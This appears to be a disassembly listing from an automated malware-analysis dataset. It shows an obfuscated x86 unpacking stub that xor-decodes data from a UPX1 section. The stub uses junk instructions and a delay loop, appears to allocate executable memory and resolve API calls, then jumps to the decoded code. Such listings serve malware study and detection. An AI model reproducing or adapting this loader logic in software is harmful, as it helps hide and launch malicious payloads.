Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xe5cb8c75
or ecx, ecx
sub esi, ecx
or esi, ecx
popal
sub ecx, 0xdd13cf64
and ecx, esi
inc ecx
mov edx, 0
mov edi, ebx
add eax, esi
and eax, eax
add eax, 1
mov ecx, edi
add esi, 0x8f837034
mov esi, 0xa8a99e41
mov esi, 0xa00713d8
mov ebx, ecx
mov eax, esi
sub esi, 0xa70ae451
add edx, 1
or esi, eax
sub eax, esi
cmp edx, 0x100a765
jne 0xa789c7
not esi
mov esi, 0x1f7784b3
sub ecx, 1
sub ecx, 0xe6f3638b
mov edi, 0xa78796
inc esi
not eax
mov edx, 0xa7898a
sub esi, 0x222414be
inc ecx
mov ebx, dword [edi]
add esi, esi
sub esi, ecx
sub eax, 1
and ebx, 0xff
add eax, 0x1935496d
dec ecx
sub eax, 0x6b0863b5
xor dword [edx], ebx
add esi, 0x6c7160d8
not eax
inc edx
sub eax, 0x75530781
mov ecx, esi
mov esi, ecx
inc edi
mov ecx, esi
add eax, 0x54884b0a
cmp edx, entry0
jl 0xa78a2c
and ecx, eax
add eax, ecx
dec eax
sub esi, 0x8df1ce06
add ecx, 0xacb92795
sub ecx, 0xf882541f
dec ebx
add edi, 0xc22b9547
add ebx, 0x2acbc69b
mov esi, 0xa7898e
add ebx, ecx
add ecx, 0x88cedb90
sub ebx, edx
mov esi, dword [esi]
and ecx, ecx
mov ecx, edi
add edi, 0x273dc9fb
mov esi, dword [esi]
mov edx, ebx
add edi, ecx
or ebx, ecx
push esi
mov edi, ecx
sub edi, ebx
mov ebx, edi
mov esi, 0xa7898a
mov edi, ecx
and ebx, ecx
mov esi, dword [esi]
add edx, 0x2ccc6008
dec edx
mov esi, dword [esi]
add edx, edi
not ecx
push 0xa78992
not edi
add ecx, edi
call esi
mov edi, ebx
not edi
pop esi
mov ecx, 0xc50d8000
inc edi
push 0xa7899f
add edi, edi
or ebx, edx
add edx, 0x15160747
push eax
sub ebx, 0x7cb87bf5
and ebx, ebx
sub ebx, edi
call esi
mov ecx, 0x32b0bb8d
sub edx, 0xab0c8f42
push 0x40
mov edi, 0x2afeaae3
dec ebx
sub esp, 4
mov dword [esp], 0x3000
mov ecx, 0xf139335
or ebx, edx
push 0x200009ba
add edi, edi
mov ecx, 0x1c02f657
push 0
add edi, edx
not edi
call eax
add ecx, ebx
mov ecx, 0x7b428a01
or ebx, edx
add eax, 0x20000941
and edi, ebx
add edx, ecx
mov esi, 0x17344b7e
or ebx, ecx
or ebx, ebx
mov dword [eax], esi
mov edx, edi
not edi
or ebx, ebx
mov esi, dword [eax]
mov ecx, ebx
and ebx, ecx
cmp esi, 0x17344b7e
je 0xa78b84
mov eax, 0
mov byte [eax], bl
add ecx, 0xcd94936b
or ebx, ebx
add ecx, ecx
not ebx
dec edx
sub ecx, esi
sub esi, ecx
mov edi, section.UPX1
add esi, esi
mov esi, 0xd54c1ed
sub esi, ecx
mov edx, 0xa78795
and esi, ecx
inc ecx
add ecx, esi
mov ebx, 0
and ecx, ecx
sub esi, ecx
mov eax, 0xa78796
or esi, ecx
mov esi, ecx
lea eax, [ebx + eax]
sub esi, ecx
sub ecx, esi
sub ecx, 0xa6f033c
mov eax, dword [eax]
add ecx, 0x3255d35c
sub ecx, 0x20066ad1
and eax, 0xff
sub esi, 0xc3c80fd6
add ecx, 1
add ebx, 1
add esi, 0x91bc053f
or ecx, esi
add ecx, esi
cmp ebx, 0x1f4
jne 0xa78c09
mov ebx, 0
or ecx, ecx
add ecx, 0xfc86d2fe
add ecx, esi
not esi
mov esi, 0x1fff8801
xor dword [edi], eax
mov ecx, 0x76071f75
sub esi, ecx
add edi, 2
not ecx
dec ecx
sub esi, ecx
cmp edi, edx
jl 0xa78bb6
add esi, 1
mov esi, ecx
dec ecx
add esi, 0x2dfb15d9
sub ecx, esi
add ecx, 0x478af22
mov edi, section.UPX1
or edx, edx
mov edx, ecx
and ecx, edx
mov ebx, section.UPX1
inc ecx
or ecx, edx
add ecx, edx
mov esi, 0xa78795
add edx, 1
mov edx, 0x43b29355
and ecx, edx
mov eax, 0
or ecx, edx
mov edx, 0x5f815bcb
inc edx
mov al, byte [ebx]
add edx, edx
or ecx, edx
mov byte [edi], al
sub edx, 1
mov edx, 0x998d6d6c
inc edi
or edx, edx
add ecx, 1
inc edx
add ebx, 2
add edx, 1
or ecx, ecx
add edx, edx
cmp ebx, esi
jle 0xa78c81
or ecx, ecx
add edx, ecx
or esi, esi
sub ecx, esi
sub esp, 4
mov dword [esp], 0x8dc6a0
sub esi, ecx
mov ecx, 0x59366b9e
sub esi, 0xd420b7a4
ret